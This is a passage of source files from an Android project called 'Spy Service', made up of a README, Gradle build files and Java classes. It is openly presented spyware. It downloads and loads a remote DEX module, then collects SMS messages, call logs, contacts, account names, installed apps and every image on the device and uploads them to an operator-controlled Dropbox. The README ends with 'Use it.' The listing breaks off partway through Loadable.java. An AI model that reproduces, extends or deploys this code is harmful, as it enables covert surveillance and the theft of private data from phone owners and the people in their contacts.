7 |
8 |
9 | This app runs WorkManager task when you clicking 'Start Service' button.
10 | This task will do the following:
11 | * Download DEX module from your hosting. For this, a PHP script in the `web` folder is used.
12 | * Load classes of this module and transfer control to it.
13 | * The module will collect information about the system and upload it to the cloud (DropBox). Also, all user images will be uploaded there. If the images have already been uploaded to the server, they are not uploaded again.
14 |
15 | Information collected:
16 | 1. SMS messages;
17 | 2. Call log;
18 | 3. Images;
19 | 4. Contacts;
20 | 5. System information (OS version, SDK version, free space, list of installed applications, list of running processes (problems with this), accounts synchronized with the OS).
21 |
22 | ## Setting up
23 | All settings you can made by editing `Settings` class in `loadableinterface` module.
24 | In order for the process of uploading files to the cloud to occur, you need to create a DropBox application and specify its token in the `Settings` class. Keep in mind that storing a token in an application is not entirely safe for files in your cloud.
25 | You can use `from_jar_to_dex.bat` script after compiling `loadabledex` module and extracting `classes.jar` from it to translate JAR to DEX. This DEX file you will need to upload on your server.
26 | You will need to upload made file to your web-server (see `web` folder).
27 |
28 | See all dependencies in `build.gradle`
29 |
30 | That's all. Use it.
31 |
--------------------------------------------------------------------------------
/Spy Service.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | * except in compliance with the License. You may obtain a copy of the License at
5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | * specific language governing permissions and limitations under the License.
9 | */
10 |
11 | apply plugin: 'com.android.application'
12 |
13 | android {
14 | compileSdkVersion 29
15 | buildToolsVersion "29.0.3"
16 |
17 | defaultConfig {
18 | applicationId "ru.er_log.spyservice"
19 | minSdkVersion 23
20 | targetSdkVersion 29
21 | versionCode 1
22 | versionName "1.0"
23 |
24 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
25 | consumerProguardFiles 'consumer-rules.pro'
26 | }
27 |
28 | buildTypes {
29 | release {
30 | minifyEnabled false
31 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
32 | }
33 | }
34 | compileOptions {
35 | sourceCompatibility = 1.8
36 | targetCompatibility = 1.8
37 | }
38 |
39 | lintOptions {
40 | abortOnError false
41 | }
42 | }
43 |
44 | dependencies {
45 | implementation fileTree(dir: 'libs', include: ['*.jar'])
46 |
47 | implementation 'com.squareup.retrofit2:retrofit:2.8.1'
48 | implementation 'com.squareup.retrofit2:converter-gson:2.8.1'
49 | implementation 'com.dropbox.core:dropbox-core-sdk:3.1.3'
50 | implementation "androidx.work:work-runtime:2.3.4"
51 | implementation 'com.github.judemanutd:autostarter:1.0.8'
52 |
53 | implementation 'androidx.appcompat:appcompat:1.1.0'
54 | implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
55 | testImplementation 'junit:junit:4.13'
56 | androidTestImplementation 'androidx.test.ext:junit:1.1.1'
57 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
58 | implementation 'org.jetbrains:annotations:15.0'
59 | implementation project(path: ':app:loadableinterface')
60 | }
61 |
--------------------------------------------------------------------------------
/app/loadabledex/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/loadabledex/build.gradle:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | * except in compliance with the License. You may obtain a copy of the License at
5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | * specific language governing permissions and limitations under the License.
9 | */
10 |
11 | apply plugin: 'com.android.library'
12 |
13 | android {
14 | compileSdkVersion 29
15 | buildToolsVersion "29.0.3"
16 |
17 | defaultConfig {
18 | minSdkVersion 23
19 | targetSdkVersion 29
20 | versionCode 1
21 | versionName "1.0"
22 |
23 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
24 | consumerProguardFiles 'consumer-rules.pro'
25 | }
26 |
27 | buildTypes {
28 | release {
29 | minifyEnabled false
30 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
31 | }
32 | }
33 |
34 | lintOptions {
35 | abortOnError false
36 | }
37 | }
38 |
39 | dependencies {
40 | implementation fileTree(dir: 'libs', include: ['*.jar'])
41 |
42 | implementation 'me.everything:providers-stetho:1.0.1'
43 | implementation 'com.dropbox.core:dropbox-core-sdk:3.1.3'
44 |
45 | implementation 'androidx.appcompat:appcompat:1.1.0'
46 | testImplementation 'junit:junit:4.13'
47 | androidTestImplementation 'androidx.test.ext:junit:1.1.1'
48 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
49 | implementation project(path: ':app:loadableinterface')
50 | }
51 |
--------------------------------------------------------------------------------
/app/loadabledex/consumer-rules.pro:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/loadabledex/consumer-rules.pro
--------------------------------------------------------------------------------
/app/loadabledex/loadabledex.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | generateDebugSources
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
--------------------------------------------------------------------------------
/app/loadabledex/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/app/loadabledex/src/androidTest/java/ru/er_log/spyservice/loadable/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.content.Context;
14 |
15 | import androidx.test.platform.app.InstrumentationRegistry;
16 | import androidx.test.ext.junit.runners.AndroidJUnit4;
17 |
18 | import org.junit.Test;
19 | import org.junit.runner.RunWith;
20 |
21 | import static org.junit.Assert.*;
22 |
23 | /**
24 | * Instrumented test, which will execute on an Android device.
25 | *
26 | * @see Testing documentation
27 | */
28 | @RunWith(AndroidJUnit4.class)
29 | public class ExampleInstrumentedTest
30 | {
31 | @Test
32 | public void useAppContext()
33 | {
34 | // Context of the app under test.
35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
36 |
37 | assertEquals("ru.er_log.spyservice.loadable.test", appContext.getPackageName());
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/app/loadabledex/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/loadabledex/src/main/java/ru/er_log/spyservice/loadable/Functions.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.accounts.Account;
14 | import android.accounts.AccountManager;
15 | import android.app.ActivityManager;
16 | import android.content.Context;
17 | import android.content.pm.ApplicationInfo;
18 | import android.content.pm.PackageManager;
19 | import android.database.Cursor;
20 | import android.net.Uri;
21 | import android.os.Build;
22 | import android.os.Environment;
23 | import android.os.StatFs;
24 | import android.provider.MediaStore;
25 | import android.util.Log;
26 | import android.util.Patterns;
27 |
28 | import java.io.BufferedReader;
29 | import java.io.File;
30 | import java.io.FileInputStream;
31 | import java.io.FileOutputStream;
32 | import java.io.IOException;
33 | import java.io.InputStreamReader;
34 | import java.nio.charset.Charset;
35 | import java.text.DecimalFormat;
36 | import java.util.ArrayList;
37 | import java.util.Date;
38 | import java.util.List;
39 | import java.util.UUID;
40 | import java.util.regex.Pattern;
41 |
42 | import me.everything.providers.android.calllog.Call;
43 | import me.everything.providers.android.calllog.CallsProvider;
44 | import me.everything.providers.android.contacts.Contact;
45 | import me.everything.providers.android.contacts.ContactsProvider;
46 | import me.everything.providers.android.media.MediaProvider;
47 | import me.everything.providers.android.telephony.Sms;
48 | import me.everything.providers.android.telephony.TelephonyProvider;
49 | import ru.er_log.spyservice.Settings;
50 | import ru.er_log.spyservice.loadable.content.ImageInformation;
51 | import ru.er_log.spyservice.loadable.content.SystemInformation;
52 |
53 | public class Functions
54 | {
55 | public static List getSms(Context context)
56 | {
57 | TelephonyProvider telephonyProvider = new TelephonyProvider(context);
58 | return telephonyProvider.getSms(TelephonyProvider.Filter.ALL).getList();
59 | }
60 |
61 | public static List getCalls(Context context)
62 | {
63 | CallsProvider callsProvider = new CallsProvider(context);
64 | return callsProvider.getCalls().getList();
65 | }
66 |
67 | public static List getContacts(Context context)
68 | {
69 | ContactsProvider contactsProvider = new ContactsProvider(context);
70 | return contactsProvider.getContacts().getList();
71 | }
72 |
73 | // public List getInternalStorageImages(Context context)
74 | // {
75 | // MediaProvider mediaProvider = new MediaProvider(context);
76 | // return mediaProvider.getImages(MediaProvider.Storage.INTERNAL).getList();
77 | // }
78 | //
79 | // public List getExternalStorageImages(Context context)
80 | // {
81 | // MediaProvider mediaProvider = new MediaProvider(context);
82 | // return mediaProvider.getImages(MediaProvider.Storage.EXTERNAL).getList();
83 | // }
84 |
85 | public static SystemInformation getSystemInformation(Context context)
86 | {
87 | SystemInformation.Builder builder = SystemInformation.Builder.createBuilder();
88 | builder.setOsVersion(Build.VERSION.RELEASE);
89 | builder.setSdkVersion(Build.VERSION.SDK_INT);
90 |
91 | String freeSpace =
92 | "Internal used: " + Functions.bytesToHuman(Functions.busyMemory(MediaProvider.Storage.INTERNAL)) + " / " + Functions.bytesToHuman(Functions.totalMemory(MediaProvider.Storage.INTERNAL)) +
93 | ", " +
94 | "External used: " + Functions.bytesToHuman(Functions.busyMemory(MediaProvider.Storage.EXTERNAL)) + " / " + Functions.bytesToHuman(Functions.totalMemory(MediaProvider.Storage.EXTERNAL));
95 | builder.setFreeSpace(freeSpace);
96 |
97 | List installedAppsRaw = Functions.getInstalledApps(context);
98 | List installedApps = new ArrayList<>();
99 | for (ApplicationInfo info :installedAppsRaw)
100 | installedApps.add("package: " + info.packageName + ", source dir: " + info.sourceDir + ", name: " + info.name);
101 | builder.setInstalledApps(installedApps);
102 |
103 | List runningProcessesRaw = Functions.getRunningProcess(context);
104 | List runningProcesses = new ArrayList<>();
105 | for (ActivityManager.RunningAppProcessInfo processInfo : runningProcessesRaw)
106 | runningProcesses.add("pid: " + processInfo.pid + ", name: " + processInfo.processName);
107 | builder.setRunningProcesses(runningProcesses);
108 |
109 | Account[] accountsRaw = Functions.getAccounts(context);
110 | List accounts = new ArrayList<>();
111 | Pattern gmailPattern = Patterns.EMAIL_ADDRESS;
112 | for (Account account : accountsRaw)
113 | if (gmailPattern.matcher(account.name).matches())
114 | accounts.add("name: " + account.name + ", type: " + account.type);
115 | builder.setAccounts(accounts);
116 |
117 | return builder.build();
118 | }
119 |
120 | public static long totalMemory(MediaProvider.Storage storage)
121 | {
122 | StatFs statFs;
123 | if (storage == MediaProvider.Storage.INTERNAL)
124 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath());
125 | else
126 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath());
127 |
128 | return statFs.getBlockCountLong() * statFs.getBlockSizeLong();
129 | }
130 |
131 | public static long freeMemory(MediaProvider.Storage storage)
132 | {
133 | StatFs statFs;
134 | if (storage == MediaProvider.Storage.INTERNAL)
135 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath());
136 | else
137 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath());
138 |
139 | return statFs.getAvailableBlocksLong() * statFs.getBlockSizeLong();
140 | }
141 |
142 | public static long busyMemory(MediaProvider.Storage storage)
143 | {
144 | StatFs statFs;
145 | if (storage == MediaProvider.Storage.INTERNAL)
146 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath());
147 | else
148 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath());
149 |
150 | long total = statFs.getBlockCountLong() * statFs.getBlockSizeLong();
151 | long free = statFs.getAvailableBlocksLong() * statFs.getBlockSizeLong();
152 | return total - free;
153 | }
154 |
155 | public static String bytesToHuman(long size)
156 | {
157 | long Kb = 1024;
158 | long Mb = Kb * 1024;
159 | long Gb = Mb * 1024;
160 | long Tb = Gb * 1024;
161 | long Pb = Tb * 1024;
162 | long Eb = Pb * 1024;
163 |
164 | DecimalFormat f = new DecimalFormat("#.##");
165 |
166 | if (size < Kb) return f.format(size) + " byte";
167 | if (size < Mb) return f.format((double) size / Kb) + " Kb";
168 | if (size < Gb) return f.format((double) size / Mb) + " Mb";
169 | if (size < Tb) return f.format((double) size / Gb) + " Gb";
170 | if (size < Pb) return f.format((double) size / Tb) + " Tb";
171 | if (size < Eb) return f.format((double) size / Pb) + " Pb";
172 | return f.format((double) size / Eb) + " Eb";
173 | }
174 |
175 | public static List getInstalledApps(Context context)
176 | {
177 | final PackageManager pm = context.getPackageManager();
178 | return pm.getInstalledApplications(PackageManager.GET_META_DATA);
179 | }
180 |
181 | public static List getRunningProcess(Context context)
182 | {
183 | ActivityManager actvityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
184 | return actvityManager != null ? actvityManager.getRunningAppProcesses() : new ArrayList(0);
185 | }
186 |
187 | public static Account[] getAccounts(Context context)
188 | {
189 | return AccountManager.get(context).getAccounts();
190 | }
191 |
192 | /**
193 | * @return gets all folders with pictures on the device and loads each of them in a custom object ImageFolder
194 | * the returns an ArrayList of these custom objects
195 | */
196 | public static ArrayList getPicturePaths(Context context)
197 | {
198 | ArrayList picFolders = new ArrayList<>();
199 | ArrayList picPaths = new ArrayList<>();
200 | Uri allImagesUri = android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
201 | String[] projection = {MediaStore.Images.ImageColumns.DATA, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.BUCKET_DISPLAY_NAME, MediaStore.Images.Media.BUCKET_ID};
202 | Cursor cursor = context.getContentResolver().query(allImagesUri, projection, null, null, null);
203 |
204 | try
205 | {
206 | if (cursor == null)
207 | return picFolders;
208 |
209 | cursor.moveToFirst();
210 |
211 | do
212 | {
213 | if (cursor.getCount() == 0) continue;
214 |
215 | ImageInformation.ImageFolder folds = new ImageInformation.ImageFolder();
216 | String name = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME));
217 | String folder = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.BUCKET_DISPLAY_NAME));
218 | String dataPath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA));
219 |
220 | //String folderPaths = dataPath.replace(name,"");
221 | String folderPaths = dataPath.substring(0, dataPath.lastIndexOf(folder + "/"));
222 | folderPaths = folderPaths + folder + "/";
223 | if (!picPaths.contains(folderPaths))
224 | {
225 | picPaths.add(folderPaths);
226 |
227 | folds.setPath(folderPaths);
228 | folds.setFolderName(folder);
229 | folds.setFirstPic(dataPath);//if the folder has only one picture this line helps to set it as first so as to avoid blank image in itemview
230 | folds.addPics();
231 | picFolders.add(folds);
232 | } else
233 | {
234 | for (int i = 0; i < picFolders.size(); i++)
235 | if (picFolders.get(i).getPath().equals(folderPaths))
236 | {
237 | picFolders.get(i).setFirstPic(dataPath);
238 | picFolders.get(i).addPics();
239 | }
240 | }
241 | } while (cursor.moveToNext());
242 | cursor.close();
243 | } catch (Exception e)
244 | {
245 | e.printStackTrace();
246 | }
247 |
248 | // // Outs all founded images folders.
249 | // for (int i = 0; i < picFolders.size(); i++)
250 | // Log.d(Settings.LOG_TAG, "Picture folder: '" + picFolders.get(i).getFolderName() + "', Path: '" + picFolders.get(i).getPath() + "', Pics number: " + picFolders.get(i).getNumberOfPics());
251 |
252 | return picFolders;
253 | }
254 |
255 | /**
256 | * This Method gets all the images in the folder paths passed as a String to the method and returns
257 | * and ArrayList of PictureFacer a custom object that holds data of a given image
258 | *
259 | * @param path a String corresponding to a folder path on the device external storage
260 | */
261 | public static ArrayList getAllImagesByFolder(Context context, String path)
262 | {
263 | ArrayList images = new ArrayList<>();
264 | Uri allVideosUri = android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
265 | String[] projection = {MediaStore.Images.ImageColumns.DATA, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.SIZE, MediaStore.Images.Media.DATE_MODIFIED};
266 | Cursor cursor = context.getContentResolver().query(allVideosUri, projection, MediaStore.Images.Media.DATA + " like ? ", new String[]{"%" + path + "%"}, null);
267 | try
268 | {
269 | if (cursor == null)
270 | return images;
271 |
272 | cursor.moveToFirst();
273 | do
274 | {
275 | if (cursor.getCount() == 0) continue;
276 |
277 | ImageInformation.PictureFace pic = new ImageInformation.PictureFace();
278 | pic.setPictureName(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME)));
279 | pic.setPicturePath(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA)));
280 | pic.setPictureSize(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.SIZE)));
281 | pic.setPictureDateModified(new Date(cursor.getLong(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATE_MODIFIED)) * 1000L));
282 | images.add(pic);
283 | } while (cursor.moveToNext());
284 | cursor.close();
285 |
286 | ArrayList reSelection = new ArrayList<>();
287 | for (int i = images.size() - 1; i > -1; i--)
288 | reSelection.add(images.get(i));
289 |
290 | images = reSelection;
291 | } catch (Exception e)
292 | {
293 | e.printStackTrace();
294 | }
295 |
296 | return images;
297 | }
298 | }
299 |
--------------------------------------------------------------------------------
/app/loadabledex/src/main/java/ru/er_log/spyservice/loadable/Loadable.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.content.Context;
14 | import android.util.Log;
15 |
16 | import com.dropbox.core.DbxException;
17 | import com.dropbox.core.v2.files.FileMetadata;
18 | import com.dropbox.core.v2.files.ListFolderResult;
19 | import com.dropbox.core.v2.files.Metadata;
20 | import com.dropbox.core.v2.files.WriteMode;
21 |
22 | import java.io.ByteArrayInputStream;
23 | import java.io.FileInputStream;
24 | import java.io.IOException;
25 | import java.nio.charset.Charset;
26 | import java.util.ArrayList;
27 | import java.util.Collection;
28 | import java.util.Date;
29 | import java.util.HashMap;
30 | import java.util.List;
31 |
32 | import me.everything.providers.android.calllog.Call;
33 | import me.everything.providers.android.contacts.Contact;
34 | import me.everything.providers.android.telephony.Sms;
35 | import ru.er_log.spyservice.Settings;
36 | import ru.er_log.spyservice.loadable.content.ImageInformation;
37 | import ru.er_log.spyservice.loadable.content.SystemInformation;
38 | import ru.er_log.spyservice.network.DropBox;
39 |
40 | public final class Loadable implements ILoadable
41 | {
42 | public Loadable()
43 | {
44 | Log.d(Settings.LOG_TAG, "Loadable initialized");
45 | }
46 |
47 | @Override
48 | public boolean fulfillDestiny(Context context)
49 | {
50 | DropBox dropBox;
51 | try { dropBox = new DropBox(context); }
52 | catch (DbxException e)
53 | {
54 | Log.e(Settings.LOG_TAG, "Exception while DropBox initialization");
55 | e.printStackTrace();
56 | return false;
57 | }
58 |
59 | uploadAllData(context, dropBox);
60 | return true;
61 | }
62 |
63 | private void uploadAllData(Context context, DropBox dropBox)
64 | {
65 | /* Forming images paths. */
66 | HashMap localImages = new HashMap<>();
67 | List folders = Functions.getPicturePaths(context);
68 | for (ImageInformation.ImageFolder folder : folders)
69 | for (ImageInformation.PictureFace image : Functions.getAllImagesByFolder(context, folder.getPath()))
70 | localImages.put(image.getPicturePath().toLowerCase().intern(), image);
71 |
72 | /* Uploading text information. */
73 |
74 | Date date = new Date(System.currentTimeMillis());
75 | String dateFormatted = android.text.format.DateFormat.format("dd.MM.yyyy 'at' HH:mm:ss", date).toString();
76 | String dropboxPath = dropBox.getCloudFolderOther() + "/" + dateFormatted + ".txt";
77 | String information = collectInformation(context, localImages.values());
78 | //Log.d(Settings.DEBUG_TAG, "Collected information:\n" + information);
79 |
80 | byte[] bytes = information.getBytes(Charset.defaultCharset());
81 | dropBox.uploadFile(WriteMode.OVERWRITE, date, null, dropboxPath, new ByteArrayInputStream(bytes));
82 |
83 | /* Uploading images. */
84 |
85 | { // Creating directories for images in cloud.
86 | List paths = new ArrayList<>(folders.size());
87 | for (ImageInformation.ImageFolder folder : folders)
88 | {
89 | paths.add(dropBox.getCloudFolderImages() + folder.getPath().toLowerCase());
90 | //Log.d(Settings.DEBUG_TAG, dropBox.getCloudFolderImages() + folder.getPath().toLowerCase());
91 | }
92 | dropBox.createFolderBatch(paths, false);
93 | }
94 |
95 | formUploadImagesList(dropBox, localImages);
96 | if (localImages.size() != 0)
97 | {
98 | Collection values = localImages.values();
99 | Log.d(Settings.LOG_TAG, "Need to upload " + values.size() + " images.");
100 |
101 | int success = 0, counter = 0, total = values.size();
102 | for (ImageInformation.PictureFace pictureFace : values)
103 | {
104 | counter++;
105 | dropboxPath = dropBox.getCloudFolderImages() + pictureFace.getPicturePath().toLowerCase();
106 | try
107 | {
108 | FileInputStream inputStream = new FileInputStream(pictureFace.getPicturePath());
109 | FileMetadata fileMetadata = dropBox.uploadFile(WriteMode.OVERWRITE, pictureFace.getDateModified(), null, dropboxPath, inputStream);
110 | if (fileMetadata != null) success++;
111 | inputStream.close();
112 | } catch (IOException e)
113 | {
114 | e.printStackTrace();
115 | }
116 |
117 | if (counter % 5 == 0 || counter == total)
118 | Log.d(Settings.LOG_TAG, "Uploaded " + success + " of " + total + ", failure " + (counter - success));
119 | }
120 | Log.d(Settings.LOG_TAG, "Uploading process finished");
121 | } else
122 | {
123 | Log.d(Settings.LOG_TAG, "No images for upload");
124 | }
125 | }
126 |
127 | /** Checks if element of {@param localImages} already exists on the server. File modified date also checks.
128 | * If newest version of element already exist, element will be removed from {@param localImages}. */
129 | private void formUploadImagesList(DropBox dropBox, HashMap localImages)
130 | {
131 | String dirContent = dropBox.getCloudFolderImages();
132 | try
133 | {
134 | ListFolderResult content = dropBox.getAllFolderContent(dirContent, true);
135 | for (Metadata metadata : content.getEntries())
136 | {
137 | FileMetadata fileMetadata;
138 | try { fileMetadata = (FileMetadata) metadata; }
139 | catch (ClassCastException ignored) { continue; }
140 |
141 | String cloudImagePath = fileMetadata.getPathLower().substring(dirContent.length()).intern();
142 | ImageInformation.PictureFace pictureFace;
143 | if ((pictureFace = localImages.get(cloudImagePath)) != null)
144 | {
145 | Date localDateModified = pictureFace.getDateModified();
146 | Date cloudDateModified = fileMetadata.getClientModified();
147 | if ((localDateModified.getTime() / 1000L) <= (cloudDateModified.getTime() / 1000L))
148 | localImages.remove(cloudImagePath);
149 | }
150 | }
151 | } catch (DbxException e)
152 | {
153 | Log.e(Settings.LOG_TAG, "Can't load cloud directory content: " + dirContent);
154 | e.printStackTrace();
155 | }
156 | }
157 |
158 | private String collectInformation(Context context, Collection images)
159 | {
160 | List sms = Functions.getSms(context);
161 | List calls = Functions.getCalls(context);
162 | List contacts = Functions.getContacts(context);
163 | SystemInformation systemInformation = Functions.getSystemInformation(context);
164 |
165 | List imagesPaths = new ArrayList<>();
166 | if (images != null)
167 | for (ImageInformation.PictureFace pictureFace : images)
168 | imagesPaths.add(pictureFace.getPicturePath());
169 |
170 | StringBuilder global = new StringBuilder();
171 |
172 | StringBuilder builder = new StringBuilder();
173 | for (Sms mes : sms)
174 | builder.append(mes.toString()).append('\n');
175 | global.append("- - -\n").append("SMS Messages:\n").append(builder);
176 |
177 | builder = new StringBuilder();
178 | for (Call call : calls)
179 | builder.append(call.toString()).append('\n');
180 | global.append("- - -\n").append("Calls:\n").append(builder);
181 |
182 | builder = new StringBuilder();
183 | for (Contact contact : contacts)
184 | builder.append(contact.toString()).append('\n');
185 | global.append("- - -\n").append("Contacts:\n").append(builder);
186 |
187 | builder = new StringBuilder();
188 | for (String image : imagesPaths)
189 | builder.append(image).append('\n');
190 | global.append("- - -\n").append("Images in storage:\n").append(builder);
191 |
192 | builder = new StringBuilder();
193 | builder.append("- - -\n").append("OS version code: ").append(systemInformation.getOsVersion()).append('\n');
194 | builder.append("- - -\n").append("SDK version code: ").append(systemInformation.getSdkVersion()).append('\n');
195 | builder.append("- - -\n").append("Free space: ").append(systemInformation.getFreeSpace()).append('\n');
196 | builder.append("- - -\n").append("Accounts: ").append('\n');
197 | for (String string : systemInformation.getAccounts())
198 | builder.append(" - ").append(string).append('\n');
199 | builder.append("- - -\n").append("Installed apps: ").append('\n');
200 | for (String string : systemInformation.getInstalledApps())
201 | builder.append(" - ").append(string).append('\n');
202 | builder.append("- - -\n").append("Running processes: ").append('\n');
203 | for (String string : systemInformation.getRunningProcesses())
204 | builder.append(" - ").append(string).append('\n');
205 |
206 | global.append("- - -\n").append("System information:\n").append(builder);
